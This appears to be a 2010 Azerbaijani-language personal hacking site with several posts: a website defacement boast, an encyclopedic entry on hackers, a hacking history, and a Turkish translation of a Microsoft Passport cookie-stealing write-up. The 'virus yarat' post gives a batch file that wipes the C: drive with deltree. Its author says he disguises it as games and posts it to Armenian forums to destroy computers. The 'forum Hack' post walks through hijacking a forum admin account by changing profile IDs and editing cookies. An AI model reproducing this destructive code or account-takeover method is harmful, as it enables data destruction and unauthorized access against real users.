Персональный сайт

4R!F

Isco — Wed, 18 Aug 2010 12:55:55 GMT

hşur AZeri Hackeri 4R!F indideBmtnin saytini hakcladi. Yerine ermenilerin bize eledikleri zulumlerin flash rolik formada olan saytini + Qetnameleri Daxil Edib! Ozde ingilis dilinde ..ardinda fikrini bildir. Saytin Adi Www.Un.Org.ec _____________ Əgər bu xəbər sizin şəxsi səhifənizdən götürülübsə , və istinad olaraq səhifənizin linki verilməyibsə Adminlə əlaqə saxlayın, və bizə bidirin... _____________ Xəbərlərimizdən istifadə edərkən bizim sayta istinad ZƏRRURİDİR !!!

virus yarat

Isco — Wed, 18 Aug 2010 12:55:02 GMT

Demek Bele , Ishchi stolunda Ve Ya Her Hansi Bir Papkada Bir txt Fayli Yaradaq , Sonra Ashagda Yazdigim Kodu Hemin Fayla Paste Edib Save Edek. @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Format Down Up Your Sistem Destroy_ap::. @echo off Buda Virus Diqqet O Fayli Achmayin . Eger Achsan Komputer Getdi ! Men Adeten Bu Viruslari .Rar Farmata Salib Ermeni Forumlarina Ve Ya Saytlarina Her Hansi Bir Oyun Kimi Rus Dilinde Yazib Daxil Edirem ! KOmputerlerini Yandiriram! P:S KOmputerinize Zerer Deyerse Buna Biz Cavabdeh Deyilik. _____________ Əgər bu xəbər sizin şəxsi səhifənizdən götürülübsə , və istinad olaraq səhifənizin linki verilməyibsə Adminlə əlaqə saxlayın, və bizə bidirin... _____________ Xəbərlərimizdən istifadə edərkən bizim sayta istinad ZƏRRURİDİR !!!

forum Hack

Isco — Wed, 18 Aug 2010 12:53:05 GMT

Bir Webə zərər vermək üsulu ilə sizi tanış edim.Bu çox sadədir. Diqqətlə oxuyun.Tutalım ki Bir Sayt var və siz o saytın olmasını istəmirsiz.Onlara ping atmaq flood etmək olar dondurmaq da olar amma bu müvəqqəti olacaqdır. hədəfsayt.com bu bizim hədəfimizdir tutaq ki. Birinci sayta giririk forum bölümünü seçirik və forumda qeydiyyatdan keçirik.Əgər registrasiyanız varsa registrasiyadan keçmiş nik ilə foruma girəcəksiz.Yadda saxla butonuna quş qoyacaqsız və sayta daxil olacaqsız.Bu məcburidir. İndi profil bölümünə girirsiz.URL hissəyə baxın. myprofile.asp?id=231&action=profile belə bir şey olmalıdır. Burada İD yazılan yer bizim registrasiya nömrəmizdir .Yəni biz forumda 231ci qeydiyyatdan keçmiş adamıq . Burada 231i silin və yerinə 1 yazın.Adətən 1 admin olur.Yəni qeydiyyatdan birinci keçən admin olur. aha 1 yazdıq və bu nədir.qarşımızda adminin birinin profili çıxdı.tez parolunu dəyişirik və niki bizim olur.və indi istəyirsiz forumu yerlə bir edin :D İndi isə admin olmaq barədəbir az məlumat verim.Ən maraqlı məqamlardan biridir. indi yenə bayaq dediyim kimi foruma nikimizi passwrdumuzu yazırıq.yadda saxla butonuna qoş qoyub giririk. hal hazırda bizə lazım olan CookieEditor proqramıdır.Bunu da google yaxud da download.comdan endiririk(Türk versiyası olsa daha yaxşıdır).proqramı endrdik qurduq. İndi ortadasearch bölümünə hədəf saytın adını yazırıq. qarşımıza MiniNuke%5FGir1 deyə bir bölmə çıxır. yazılışı belə olmalıdıruser_namei%5Fmail=deneme40deneme2Ecxom&kullanici=de neme&a mp;kullanici%5Fid=18&girdi=ok Burada user_name yazılan yer sizin qeydiyyatınızdır. İd də sizin neçənci yerdə qeydiyyat olduğuvuzu göstərir. İndi saytın adminini tapırıq.user_name yazılan yerə admin nikini yazırıq. İd yerinə də onun İDsini yazırıq. və save edirik. Belə olacaq admin%5Fmail=deneme40deneme2Ecxom&kullanici=de neme&a mp;kullanici%5Fid=18&girdi=ok İndi pəncərəmizi bağlayırıq və saytımıza geri dönürük. yenidən nik və parolumuzu yazırıq sayta giririk. AAAAAAAA bu nədir belə? saytda uje adminik. Əgər istəsəz burada user_name dediyim bölməyə istədiyiviz adminin nikini yaza bilərsiz.

hacker info

Isco — Wed, 18 Aug 2010 12:52:40 GMT

Haker (Hacker ingilis sözüdür, hack- yarmaq, sındırmaq) Proqramlaşdırmanı çox gözəl bilən, komyuterlər üçün yeni proqramlar yaradan və ya onları dəyişdirən, kompyuter texnologiyaların təhlükəsiz fəaliyyətini təmin edə bilən insanlara deyilir. Hakerlər həmçinin o şəxslərdir ki,onlar məişət texnologiyalarına məsələn radioqəbuledicilərə, printerlərə və ya çiləyici sistemlərə müdaxilə edirlər ki, onların fəaliyyətində maksimum rahatlıq əldə etmək mümkün olsun. Haker sözü XX əsrin 60-cı illərində informasiya texnologiyalarının inkişafı nəticəsində əmələ gəlmişdir. Haker sözü ümumiyyətlə əksərən sərt mənada başa düşülür, lakin onun çoxlu mənalarıda var: * Hakerlər əksər adi istifadəçilərdən fərqli olaraq proqramları detallarına kimi tədqiq etməkdən həzz alır, onların imkanlarını genişləndirməyə çalışır. * Bir kəs ki, proqramlaşdırmanı çox həvəslə, şövqlə aparır və ya proqramlaşdırmanı nəzəriyyədən daha çox real şəkildə aparmağı xoşlayır. * Bir şəxs ki, sürətli proqramlaşdırmanı bacarır. * Öz peşəsi üzrə ekspert, öz peşəsində şövqlə işləyən. Ola bilsin ki, astronomiya hakeri. * Bir şəxs ki, intelektual cəhətdən limit (məhdudiyyət) qoyulmuş peşənin öhdəsindən gəlsin. * Bir şəxs ki, proqramlaşdırma sahəsində malik olduqları biliklərlə şəxsi mənafelərinə xidmət etmək və ya başqasına ziyan vurmaq. * Bir şəxs ki, kompyuterlər üçün zərərli proqramları-virusları hazırlayıb, onları yaymaq və antivirus proqramları satıb pul qazanmaq. * Bir şəxs ki, haker dəyərlərini başa düşür və qiymətləndirir. Əksərən haker (hacker) və kreker (cracker) sözləri səhv salınır. Hakerlər həqiqi profesionallardır və onların kompyuterlərdən informasiya oğurlamaq, başqasının işlərinə burunlarını soxmaq kimi vərdişləri yoxdur. Bu cür adamlara krekerlər deyirlər. Həmçinin friker (freecker - kompyuterdən başqa elektronik cihazlardan havayı, pul vermədən istifadə edir. Məsələn havayı telefonla danışır) və karder (digərlərinin elektron kartlarından öz məqsədi üçün istifadə edir) kreker anlayışına yaxındır. Bundan başqa bu sözün kökü olan hack sözünün program təminatı terminologiyasında bir başqa istifadəsi də vardır. Bu bir proqramlaşdırma məsələsinin "bilərək qeyri-dəqiq həlli" mənasına gəlir və ən qısa vaxtda bu cür məsələlərin qeyri-hack metodları ilə həlli zəruridir. Mündəricat * 1 Hakerlərin kateqoriyalaşdırılması o 1.1 Haker: Yüksək ixtisaslı proqramçı o 1.2 Haker: Kompyuter və şəbəkə təhlükəsizliyi üzrə ekspert o 1.3 Haker: Texniki təminat dəyişdiriciləri * 2 "Haker" sözünün mənşəyi və bu sözün məna fərqlərinin yaranmasının tarixi səbəbləri * 3 Tanınmış hakerlər * 4 Bəzi terminlər və onların mənası * 5 Həmçinin bax * 6 Xarici keçidlər Hakerlərin kateqoriyalaşdırılması Hakerlərin emblemi qola həkk olunmuş şəkildə Hakerlərin emblemi qola həkk olunmuş şəkildə Haker cəmiyyətinə o insanlar aiddirlər ki, onlar özlərini haker hesab edirlər və ya başqaları tərəfindən onlar haker hesab edilirlər. Bu cəmiyyətin nümayəndələri üç qrupa bölünürlər. Əksərən işlənən "kreker" sözü hakerlərin kateqoriyalarından daha çox onları dəqiqləşdirmək məqsədi güdür. Haker: Yüksək ixtisaslı proqramçı Bu zaman haker sözü daha çox pozitiv mənada, proqramlaşdırmanı yüksək dərəcədə aparan bir şəxs kimi başa düşülür. Bu cür hakerlər daha çox hörmətə layiq görülürlər və onlar əvvəlcədən heç bir hazırlıq görmədən çətin həll olunan problemin həll olunmasına nail olurlar. Haker: Kompyuter və şəbəkə təhlükəsizliyi üzrə ekspert Şəbəkə miqyasında isə haker o şəxsdir ki, şəbəkənin elementlərinə və kompyuterə girişə nəzarət edir, lazım gəldikdə onları məhdudlaşdırır. Bu şəxslər fərdi şəkildə şəbəkələrin normal fəaliyyətini nizamlayırlar. Bu cür hakerlər həmçinin internet vasitəsilə açılmaz kodları sındırmaqla və internet müharibələrinin iştirakçısı kimi də iştirak edir. Hakerlərin bu cür fəaliyyətləri cəmiyyətdə digər fəaliyyətlərə nisbətən daha dərin iz buraxır. KİV-lərdə əksərən bu cür hakerlərdən danışırlar. Hakerlərin bu fəaliyyəti əksərən neqativ qarşılansa da pozitiv fəaliyyət göstərən hakerlər da mövcuddur. Belə ki, bu kateqoriyadaki hakerları üç alt kateqoriyaya bölmək olar: * "Qara kepkalılar" (Black hat) * "Ağ kepkalılar" (White hat) * "Boz kepkalılar" (Grey hat) "Qara kepkalı" hakerlar əsasən illegal -- özlərinə aid olmayan və səlahiyyətlərində olmayan sistemlərə daxil olub müxtəlif çaplı zərər verici məqsədli -- işlərlə məşğul olduqları halda "ağ kepkalı" hakerlər bunun tərsinə olaraq bu zərərlərin qarşısını almaq və sistemin özünü müdafiə qabiliyyətini artırmaqla məşğul olurlar. "Boz kepkalı" hakerlar isə digər iki növə tam aid ediləbilməyən, yəni həm illegal həm də legal fəaliyyətlərlə məşğul olan şəxslərdir. Hakerların illegal fəaliyyətlərinin arxasında duran səbəblərdən biri də özünü özünə və ya aid olduğu "yeraltı" cəmiyyətinə "sübut etmə" və bəzən də sadəcə olaraq "zövq alma" istəyidir. Bu tip davranışlar daha çox "Boz kepkalılarda" müşahidə olunur. Onu da qeyd etmək lazımdır ki, əvvəllər ümimiyyətlə haker fəaliyyətlərinə qeyri ciddi yanaşan iri proqram təminatı və kompyuter şəbəkəsi avadanlıqları istehsalçıları sonradan bir çox "qara kepkalı" hakerlarla əlaqəyə keçmiş və öz şirkətlərində işlə təmin edərək onların "ağ kepkalı" hakerlar cərgəsinə keçmələrinə səbəb olmuşdur. Bundan əlavə axtarış mühərriklərinin internetdə böyük əhəmiyyət qazanması ilə Axtarış Mühərriki Optimizasiyası(SEO) metodları meydana çıxmışdır. Bu cür metodlar da məhz "Qara Kepka" və "Ağ Kepka" metodları olaraq kateqoriyalaşdırılır. Haker: Texniki təminat dəyişdiriciləri Hakerlərin digər növü isə kütləvi şəkildə istehsalda olmaya texniki hissələr yaratmaq, onları yeniləşdirməklə məşğuldurlar. Bu fəaliyyətin son nəticəsi əsasən onunla qurtarır ki, kompyuterin hissələr tez-tez standart vasitələrlə yenilənir və ya onlar kompyuterlərə yarı-kosmetik düzəlişlər edirlər. Onlar bunu rahatlıq və ya estetik zövq üçün edirlər. Kompyuterə cürbəcür işıq effektləri quraşdırmaq bu cür hakerlər arasında geniş yayılmışdır. Bu tip hakerlərdən ən yüksək səviyyəliləri texniki hissələrin imkanlarını artıranlardır;bu cür insanlar əksərən profesional elektrik mühəndisləri olurlar. Bu tip hakerlərin fəaliyyətlərinə 1980-cı illərin sonu 1990-cı illərin əvvəllərində satıcı və kofe düzəldən maşınlara TCP/IP əlavə etməklə onları idarə etmək kimi nümunələr göstərmək olar. "Haker" sözünün mənşəyi və bu sözün məna fərqlərinin yaranmasının tarixi səbəbləri Çox böyük ehtimalla "Haker" (Hacker) sözü öz ilkin mənasında İnformasiya texnologiyalarının yüksək inkişafı nəticəsində Massaçusetts Texnologiya İnstitutunda 1960-cı illərdə meydana gəlmişdir. Termin meydana çıxdığı zaman heç də kütləvi şəkildə istifadə olunmamışdır. Buna səbəb isə kompyuterlərin geniş yayılmaması idi. Termin ilkin olaraq lokal söz kimi işlənmişdir və mənası hər hansısa bir problemin sadə amma kobud şəkildə həlli; tələbələrin hədsiz hiyləgərlik işlətmələri (əksərən bu şəkildə qaydaları pozanları məhz haker adlandırmışlar) demək idi. Beləliklə haker sözü 1960-cı illərədək kompyuter və informasiya texnologiyalarına aid olmayan mənalarda işlənmişdir. İlkin olaraq to hack (sındırmaq, kəsmək) jarqon kimi istifadə olunmağa başlamışdır. Bu o mənada işlədilir ki, hər-hansısa bir proqrama "ayaqüstü" düzəliş edəsən. Tədricən to hack hacker sözünə kimi isimləşdi. Əsl haker kiminsə proqramındakı səhvi tapıb deməklə yanaşı onun həlli üsulunu verməyi çox lazımlı hesab edirdi. "Haker" sözü məhz buradan törəmişdir. Hakerlər heç də həmişə edilmiş dəyişiklikləri proqramdakı səhvləri düzəltmək məqsədi ilə etmirdilər - bəzən bu dəyişikliklər müəlliflərin istəklərinin əksinə olaraq proqramın fəaliyyətini dəyişdirə bilərdi. Bu cür hadisələrin sayı getdikcə artırdı və hakerlərin fəaliyyəti aşkar olunurdu, hakerlik isə müəllif və istifadəçi arasında əks əlaqəyə çevrilirdi, jurnalistlər üçünsə bundan maraqlı heç nə ola bilməzdi. Daha sonra gizli proqram kodları erası başladı. Əksər proqramların kodları əlçatmaz oldu, gizli proqram kodlarının açılması isə hədsiz çox vaxt aparmağa başladı, küllü vəsait tələb etməyə başladı. Nəticədə hakerliyin müsbət rolu heçə endi. Proqram kodlarının açılması və onlara redaktə etmək üçün yalnız güclü motiv lazım idi, tezliklə bəzi hakerlərdə bu motivlər tapıldı - onlar başa düşdülər ki, bu yolla pul və populyarlıq qazana bilərlər. Nəticədə haker sözünün yeni, təhrif olunmuş formaları meydana gəldi: bu termin daha çox kompyuter haqqında geniş biliklərini qeyri-qanuni və zərərverici fəaliyyətə sərf edən cani kimi başa düşülməyə başladı. İlk dəfə olaraq haker sözünü bu mənada Klifford Stoll tərəfindən "Ququ quşunun yumurtası" kitabında işlətmişdir, terminin bu mənada məşhurlaşmasında "Haker" kinofilminin də çox böyük rolu var. Hal-hazırda bu söz daha çox veb-təhlükəsizliyi pozulduğu zaman hak, hak etmək kimi istifadə olunur. Azad və açıq proqram təminatının müdafiəçisi kimi tanınan şəxslərdən bəziləri- məsələn Riçard Stollmen haker sözünü yalnız ilkin mənada işlətməyə çağırır. Tanınmış hakerlər * Tim Berners-Lee * Linus Torvalds * Larri Uold * Rasmus Lerdorf * Riçard Stollmen * Ceff Raskin * Con MakKarti * Erik Reymond * Robert Morris * Kevin Mitnik * Dennis Riçç * Ken Tompson Bəzi terminlər və onların mənası * Sniffer: Kompyuter şəbəkəsində informasiya trafikini idarə edən bir vasitədir. Hücum edən adam gizlice informasiya axınını izləyir və lazım olduqda bu paketləri handle edə bilir. * Spam Tool: Bir istifadəçiyə istəyi olmadan göndərilən reklam və ya kimdən göndərildiyi məlum olmayan emaillər yollayan bir proqramdir. * Spoofer: Hakerlərin sistemlərə həmin sistemin istifadəçisi olduğu kimi gostərmək üçün istifadə etdiyi proqramdır. Ən çox istifadə olunanı spoofing üsulu smurfs hücumlardır. İstifadəçinin IP-lərinə furmadan paketlər yollayır və cavab aldığında o IP altına girir. Amma internet trafikinqi flood səbəbinə görə zəifləyir. * Port Scanner: 65536 dənə porta girişi olan bir kompyuterin portlarının vəziyyəti haqqında hakerlərə bildirmək işinə yarayır. * Word List: Brute Force istifade olunan bir kompyuterə qarşı istifadə olunan parolların yerləşdiyi bir mətn faylıdır. * Brute Force: İstifadəyə haqqı olmayan istifadəçilərin parolu olan sistemə hakerlərin əlindəki wordlist vasitəsi ilə parolları yoxlayaraq tapmağa çalışan bir parol sındırıcı (passwd cracking) proqramdır. * Flooder: İnternet əlaqənizi sürətli pingler göndərərək yavaşladan və DOS hücumuna səbəb bir proqramdır. * Hijacker: İstifadəçinin internet browserine homepage olaraq qurulan porno sayt tipli linkləri verən və bunları dəyişdirməyin qarşısını alan bir nervi troyanı. * Keylogger: Özünü startup-a yerləşdirən və bəzəndə gizlədən bir proqramdır. Məqsədi isə klaviturada yazdığınız hər şeyi komyuterinizdə gizli bir text faylına kopyalayır və bu proqramı sizə göndərənə göndərən bir proqramdır. * Packer: Faylları sıxışdırmaya ve başlıqlarına (headerlərini) parol qoymağa yarayan ve beləliklədə serverlerin anti-virus və anti-troyan proqramlardan qoruyan bir vasitədir. * MailBombers: İstifadəçinin email ünvanına minlərlə email göndərən və göndərənin kim olduğunu əngəlləyən bir proqram. * Worm: Konkret mənası yoxdur. Virus kimidir. Bunu hazırlayanın fantaziyasına uyğun hazırlanır. Tapılan bir deşik vasitəsiylə informasiyaları, parolları onu hazırlayana göndərə bilən bir vasitə. * Hostile Script: VBS, WSH, JS, HTA, JSE, VBE faylları uzantısına sahib olan text faylların işlənməsi əsnasında sistemdə müxtəlif problemlərin çıxmasına səbəb olur. * Hostile Activex: İstifadəçinin xəbəri olmadan yada bilmədən qəbul etdiyi internet səhifəsində kompyuterə yerləşib xəbərsizcə ishə düşən hostile activexler hard diski silmədən, parolların oğurlanmasını və daha bir çox işləri görə bilir. * Exploit: Sistem deşiyi (zəifliyi) olaraq bilinir. Hakerlər tərəfindən hazırlanan bu exploitlər sistemə girən bir yoldur. * Dropper: İstifadəçinin kompyuterinə ftp server-i açaraq müxtəlif troyan və virusların istifadəçinin xəbəri olmadan kompyuterinə endirilməsini təmin edən bir vasitədir. * RAT: Uzaqdan idare etmə proqramı kimi adlandırmaq olar. Bununla pis niyyətli hakerlər istifadəçinin kompyterinə girə bilir və istədiyi hərəkəti eləyə bilir. * DOSDenial of Service) Hər hansı bir saytın dondurulması işinə yarayır. Sayta daha çox paket və ya flood göndərib Dos hücumla saytın işləməsini dayandırır. * Malware: İstifadəçi məlumatı olmayan kompyuterdə işləyən, kompyuterə zərər vermək məqsədi güdən hər proqrama verilən ümumi bir addır. * Proxy: İstifadçinin IP-sinə 80,8080 kimi portlardan bağlanıb əldə edilən IP-yə proxy deyilir. * Java: Webmasterlərin tez-tez istifadə elədikləri java appetlərin işləməsinə yarayan bir proqramdır. * Cookie: Web səhifələri tərəfindən kompyuterimizə xəbərsizcə buraxılan və bir səfərki girişimizdə səhifənin bizi tanımasını təmin edən kiçik txt fayldır. * P2P software: Kazaa, Imesh tərzindəki proqramlara verilən və istifadəçilərin qarşılıqlı bir-birinə bağlanaraq fayıl alış - verişini təmin edən bir proqramdır. * Kriptoqrafiya: Məlumatın anlaşılmaması üçün hər hansı bir funksiya ilə dəyişdirilməsindən(və yenə anlaşılacaq vəziyyətə gətirilməsindən)bəhs edən elmdir. * Lag: Daha cox IRC istifadəsində hiss etdiyimiz yavaşlama, gecikmə hadisəsinə verilən addır. * Adware: Reklam məqsədli olan istifadəçilərə istəkləri olmadan saytları açan, homepage-i dəyişdirən və bunun kimi hərəkətləri edən bir proqramdır. * Fake Mail: Email istifadəçisini aldadaraq onun login və parolunu oğurlamağa yarayan bir hak üsulu. Həmçinin bax * Hakerin manifesti Xarici keçidlər * How To Become A Hacker (ru-en) * What is hacker?-Webopedia * The word "Hacker" * The Hacker FAQ * Magazine::. * WebSecLab * Türkiye'nin En Büyük Hacker Sitesi(tr) * Challenges to entertain your mind and progress in the computer security (Hacker-Challenge) (en)

Xakerliyin tarixi haqqında

Isco — Wed, 18 Aug 2010 12:51:55 GMT

Anonimliyin qorunması internet istifadəçilərini daha çox cəlb edir. Bu aləmin də ozunəməxsus dələduzları var.Bu dələduzlarsa, hamımızin adlarını eşitdiyi xakerlərdir. İlk xakerlər 1960-ci illərdə ABŞ-da yaranmışlar.Erkən vaxtlarda onlar yalnız telefon xətlərini qarışdırır, telefon şəbəkələrini çökdürürdülər. MİT ( Massachuets İnstitute of Technology) universitetində komputerler işləməyə başlayanda bir neçə tələbə bu nəhəng maşınlarin necə işlədiyini, iş prinsiplərini öyrənməyə başladılar. İlkin kompüterləri o vaxtın müəlliləri belə işlətməyə çətinlik çəkirdilər.Buna görə də həmin ağıllı tələbələr hack adlandırdıqları qısayol düymələr fikirləşib tapdılar.1969-cu ildə isə 2 tələbə - Denis Ritchie və Ken Thompson o vaxt üçün bu qısayol düymələrin ən yaxşısını - UNİX-i tapdılar. Məhz bu yolla xakerliyin əsasi qoyuldu.1984 - cü ildə Lex Luthor adlı xaker Lgion of Doom (LOD) adlı xaker qrupu yaratdı. O zaman üçün bu qrup ən yaxşi xakerlər kimi tanındı. Lakin qrup daxilində Erik və Phiber arasinda munasibətlər kəskinləşdi. Phiberin dostları ayrıca yığılaraq Masters of Deception (MOD) adlı başqa bir qrup yaratdılar. Növbəti iki il ərzində onlar bir-birlərinin kompüterlərini çökdürür, telefon xətlərini qarışdırırdılar.Nəhayət, iki illik virtual muharibənin sonunda Amerika Federal Təhqiqatlar idarəsi işə əl qoydu. Artıq həmin dövrlərdə indi tanıdığımız xakerlər formalaşmağa başladilar. 1988-ci ildə isə Robert Morris adlı xaker ozü yazdığı “Internet Worm” adli xak proqramı ilə 6000 şəbəkəyə bağli kompüter çökdürə bildi. Həmin vaxtlar üçün bu böyuk rəqəm demək idi. 1994-cü ildə rus mafiasının əlinə düşən gənc xaker Vladimir Levin qeyri-leqal yollarla mafianın hesabına 10 milyon dollardan çox pul köçürə bildi. Rəsmi qaynaqlarda isə bu yalnız 2,5 milyon dollar olaraq göstərilirdi. Xakerliyə yeni başlayanlarsa lamer adlanirlar. Onlar belə demək mümkünsə hələ təhlükəsiz olurlar.Kraker (cracker) adlanan bir digər qrupsa xakerlərin hazırladıqları hazır proqramlardan istifadə edirlər...

hacker info

Isco — Wed, 18 Aug 2010 12:50:15 GMT

Passport Hack

Isco — Wed, 18 Aug 2010 12:48:47 GMT

Bu yazi Microsoft Passport`taki bir güvenlik açigini anlatiyor. Yazida bir kullanicinin Passport hesabini ele geçirme hakkinda detayli bilgi ve örnek kodlar verilecektir. Orjinali: Chris Shiflett Fakat tüm bilgiler egitim amaçli kullanim içindir. Amaç web üzerindeki güvenligin detayli bir analizini yapmak ve bazi yanlis anlamalari ortaya çikarmak. Su anki Passport mekanizmasinin kullaniminda tavsiyelerim ve güvenligini artirma yollari ile yazimi bitirecegim. Altyapi Microsoft Passport kullanicilarin Internet üzerinde sunulan ve kayit gerektiren servislere daha kolay erisimi için yaratilan bir mekanizmadir. Amaç kullanicilarin bir Passport için kayit olmalari ve çesitli sitelerdeki servisleri, her birinde kayit olmaya gerek duymadan (harcanan vakit ve sifrelerin bakimi her zaman sorun olmusdur) kullanabilmeleridir. Passport`un ek bir özelligi de Wallet`dir (cüzdan). Bir Wallet`e sahip oldugunuzda kredi karti bilgilerini ve ek kisisel bilgileri depolayabilirsiniz. Bu katilimci sitelerde satin alma islemlerinde kullanilabilir. Çerezler (Cookies) Passport basitçe kullanicinin bilgisayarinda depolanan cookie koleksiyonudur. Bu cookie`ler kullaniciyi Passport kulanan bir siteye tanitir. Passport mekanizmasinda sunucudan sunucya haberlesme yoktur, tüm haberlesme kullaniciya dogrudur. Bu islem için ayarlanan çesitli cookie`ler asagidaki gibidir: isim alanadi güvenli? dizin depolanma BrowserTest passport.com Hayir / hafiza MSPVis passport.com Hayir / disk MSPDom passport.com Hayir / disk MSPAuth passport.com Hayir / disk MSPProf passport.com Hayir / disk MSPSec passport.com Evet /ppsecure disk MSPRequ login.passport.com Hayir / hafiza PWSVis wallet.passport.com Evet / hafiza MSPAuth walletpassport.com Evet / hafiza Microsoft Internet Explorer 5.5 öncesi sürümler istemci-tarafi scriptlerin o anki web sunucu ile paylasilmamasi gereken cookie`leri görüntüleyebilmesine izin veren bir cookie güvenlik açigi içeriyordu. Passport`un arkasindaki mekanizma tamamen cookie`lere dayali oldugu için bu kombinasyonun problemleri ortadadir. Kriptolama (Encryption) Bir zincir sadece en güçsüz baglantisi kadar güçlüdür. Tanidik geliyormu? Birseylerin kriptolanmis olmasi ile sahte bir güvenlik duygusuna kapilanlarin çoklugu sizi sasirtabilir. Yukarida bahsedilen cookie`lerin bazisi kriptolanmis degerlere sahiptir. Bu yazida bu degerlerin dekriptolanmasi ile ilgili birseye rastlamayacaksiniz. Neden? Çünkü bunu yapmak zor ve kesinlikle gereksiz. Kriptografi çok zevkli bir konu olsada bu yazinin amaci Passport gibi bir mekanizmanin nasil kolaylikla kirilabilecegi. Web sitemize veya web servisimize girmeye çalisan biri genellikle en kolay yolu seçecektir. Bir kullanici Passport kullanan bir siteye girdiginde sitenin kendisi dekriptolamayi gerçeklestirir. Gerçek kullanicinin sahip oldugu kriptolanmis cookie`lerin aynilarini sunarak o kullanicinin kimligine bürünmek mümkündür. Birisinin cookie içerisindeki degerleri dekriptolamasindaki tek amaç Passport kullanilan bir site yaratmak olabilir. HTTP Detaylari (pek çok web gelistirici tarafindan dahi) gözardi edilsede yada bilinmesede Web`de gezinen çogu insan HTTP hakkinda bilgi sahibi olmustur. Microsoft Passport`u nasil altettigimi anlayabilmek için HTTP 1.1 ve onun cookie`leri nasil kullandigi hakkinda temel bir bilgi sahibi olmak gerekli. HTTP`nin bu yazida bahsedilmeyecek olan pek çok detayi vardir. Tüm tanimlamalar için RFC 2616`ya danisabilirsiniz. Basit HTTP senaryosu bir istek ve cevaptan olusan tek bir transferdir. Kullanici web`de gezinirken, Web browser (istemci) kullanicinin ziyaret ettigi sitelere çesitli istekleri yapar. Web sunuculari da web sayfalarini isleyen browser`a cevaplar döner. örnek istek: GET / HTTP/1.1 Host: www.k2labs.org User-Agent: Mozilla/5.0 Accept: text/xml, image/png, image/jpeg, image/gif, */* Accept-Language: en-us Accept-Encoding: gzip, deflate, compress, identify Connection: keep-alive Bu örnek istek bir MOzilla browser ile [hide] http://www.k2labs.org/ [/hide] adresine yapilmistir. Basliklar (Host, User-Agent, Accept, Accept-Language, Accept-Encoding, Connection) HTTP spesifikasyonunda izin verilen basliklardan bazilaridir. Her baslik sunucunun istemci tarafindan yapilan istege cevap vermesine yardimci olacak bilgiler içerir. örnek cevap: HTTP/1.1 200 OK Date: Wed, 01 Aug 2001 22:00:00 GMT Server: Protoscope 0.0.1 Connection: close Set-Cookie: k2labs=chris; domain=.k2labs.org; Path=/; Content-Length: 38 Content-Type: text/html Protoscope 0.0.1 Örnek cevap web sunucu ve cevap tipi hakkinda bazi bilgiler veriyor. Cevapta içerik ve basliklarin birbirinden 2 yeni satir ile ayrildigini farketmissinizdir. Bu HTTP`nin transfer davranisini açiklar. Baslangiç baglantisi yapilip istek gönderildiginde cevap gelene kadar baglanti (zaman asimi durumu olmadikça) açiktir. Webde oturum yönetimini güvenli hale getirmenin zor olmasinin sebeplerinden biri her transferin atomik olmasidir. Örnek HTTP cevaptaki en önemli baslik Set-Cookie basligi. Örnekte k2labs isminde ve chris degerine sahip bir cookie yaratiliyor. Set-Cookie basligindaki diger tüm bilgiler browser`in daha sonraki isteklerinin basliklarinda bu cookie`yi bulundurup bulundurmayacagini belirleyen bilgilerdir. Görecegimiz gibi diger hiçbir bilgi web sunucuya dönülmez, sadece isim ve degeri saglanir. Örnekteki cookie, son kullanim degeri (expiration date) belirlenmedigi için diske yazilmayacak ve hafiza da duracaktir. Sadece k2labs.org alt-alanlarina (subdomain) yapilan isteklerde gönderilecek ve dizinde bir sinirlama yok. Yazilacak her cookie ayri Set-Cookie basliklari ile geçirilir. Bu asagida gösterildigi gibi, birden fazla cookie`nin web sunucuya geri sunulmasi metodlarinda çesitlilik gösterir. Bilmeniz gereken son bilgi de browser`in bir istek yaparken web sunucuya daha önceden belirlenmis cookie`yi nasil gönderecegidir. Örnek Cookie basligi: Cookie: k2labs=chris Farkedeceginiz gibi cookie`nin degerinden baska hiçbir bilgi verilmiyor. Diger tüm bilgiler daha önce bahsettigim gibi sadece erisim gereksinimlerini belirlemek için. Eger birden fazla cookie sunuluyorsa her biri ayni sekilde (isim=deger) listelenir ve biribirinden noktali virgül ile ayrilir (isim=deger;isim2=deger2). Bu sebeple sadece tek bir Cookie basligi gönderilir. Güvenlik Açigi Microsoft Internet Explorer 5.5 öncesi sürümler cookie`lerde amaçlanan erisim gereksinimlerini tamamen asan bir güvenlik açigi içeriyor. Etkilenen browser`larin genis kullanimi (browserwatch.com`a göre yaklasik olarak %67.6) sebebiyle bu önemli bir açik teskil ediyor. Özel yapilandirilmis bir URL ile, bir web sitesi etkilenen browser`a istemci-tarafinda çalisan (client-side) script`ler yollayarak normalde okuyamayacagi cookie içeriklerini kendisine yollanmasini saglayabilir. Bu güvenlik açigi adresinde anlatilmaktadir. Bu tip bir URL`ye örnek: / ve ? isaretlerinin encode edilmis degerlerini kullanarak www.k2labs.org adresindeki bir sayfanin (etkilenen browser`a) .login.passport.com alanadi içerisindeymis gibi ve /ppsecure dizini altinda çalisiyor gibi gösterdik. URL aslinda asagidaki gibi: Daha önce listeledigimiz Passport cookie`lerini hatirlayacak olursaniz, bu bize .wallet.passport.com alanindaki ikisi (PWSVis ve PWSTok) hariç tüm cookie`lere erisim sagliyor. Diger ikisi de yukaridaki örnekte 'login' yerine 'wallet' yazilarakgörüntülenebilir. Etkilenen browserlar bu URL`yi bozuk olarak algilamiyor. Istek dogru host`a gönderildi (www.k2labs.org). Bu tabi ki bizim erisim yapabilmemiz için gerekli. Diger bir nokta, browser Passport cookie`lerini içeren HTTP Cookie basligini dönmeyecektir. Bu yüzden browser`dan Passport Cookie`lerini çikartmakta bu basligi kullanamayiz ve alternatif bir metod gelistirmemiz gerekli. Iste burda istemci-tarafinda çalisan script`ler devreye giriyor. Client-Side Scripting Örneklerimde istemci-tarafi scriptler için javascript kullanacagim. Asagidaki örnek script yukarida bahsedilen reveal.php sayfasi içerinde kullanilabilir. Script .passport.com ve .login.passport.com alanlarindaki tüm cookie`leri ortaya çikaracak ve bu bilgileri kullanicinin web sunucumuza göndermesi için bir URL baglantisina ekleyecek. Document.cookie formati isim=deger&isim2=deger2 seklindedir ve bu bir URL`de istek degeri olarak asagidaki gibi kullanilabilir: Hepsi bir arada Simdi bir Passport kullanicisinin cookie`si içerisindeki tüm verilere sahipiz. Bu veriler ele geçirildiginde cookie`leri kullanacak diger kisi için bir cookie`lerin alinacagi siteyi hazirlamaliyiz. Bir web istemcisi ile taklit islemi gerçeklestirilebilir fakat bu gerekli 